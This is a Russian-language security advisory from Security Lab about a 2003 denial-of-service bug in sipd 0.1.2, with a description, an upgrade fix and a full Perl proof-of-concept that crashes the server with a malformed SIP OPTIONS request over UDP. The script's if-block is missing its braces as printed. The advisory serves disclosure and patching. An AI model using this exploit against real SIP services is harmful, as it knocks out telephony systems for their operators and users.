Security Lab

DoS против sipd

Дата публикации:14.12.2003
Всего просмотров:1574
Опасность:
Низкая
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная сеть
Воздействие: Отказ в обслуживании
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: sipd 1.x
Уязвимые версии: sipd 0.1.2

Описание: Отказ в обслуживании обнаружен в sipd. Удаленный пользователь может аварийно завершить работу службы.

Программа не проверяет значение, возвращенное функцией gethostbyname_r(). Удаленный пользователь может заставить эту функцию возвратить некорректное значение несуществующего имени хоста (типа 'A192.168.1.6'), чтобы аварийно завершить работу программы.

Пример/Эксплоит:

#!/usr/bin/perl

# SIPd - SIP URI Denial of Service
# Kills sipd version 0.1.2

use IO::Socket;
use strict;

unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }

my $remote_host = shift(@ARGV);
my $your_host = shift(@ARGV);
my $port = shift(@ARGV);
if ($port eq "")
 
 $port = "5060";
 

my $buf = "OPTIONS sip:A$remote_host SIP/2.0\r\
Via: SIP/2.0/UDP $your_host:3277\r\
From: <sip:$your_host:3277>\r\
To: <sip:$your_host:3277>\r\
Call-ID: 12312312\@$your_host\r\
CSeq: 1 OPTIONS\r\
Max-Forwards: 70\r\
\r\n";

my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: 
$@\n"; my $ipaddr = inet_aton($remote_host) || $remote_host; my $portaddr 
= sockaddr_in($port, $ipaddr);

send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: 
$!\n";

print "Now, '$remote_host' must be dead :)\n";

URL производителя:http://www.sxdesign.com/

Решение:Установите обновленную версию программы: http://www.sxdesign.com/download/sipd-0.1.4.tar.bz2

Ссылки: sipD gethostbyname_r DoS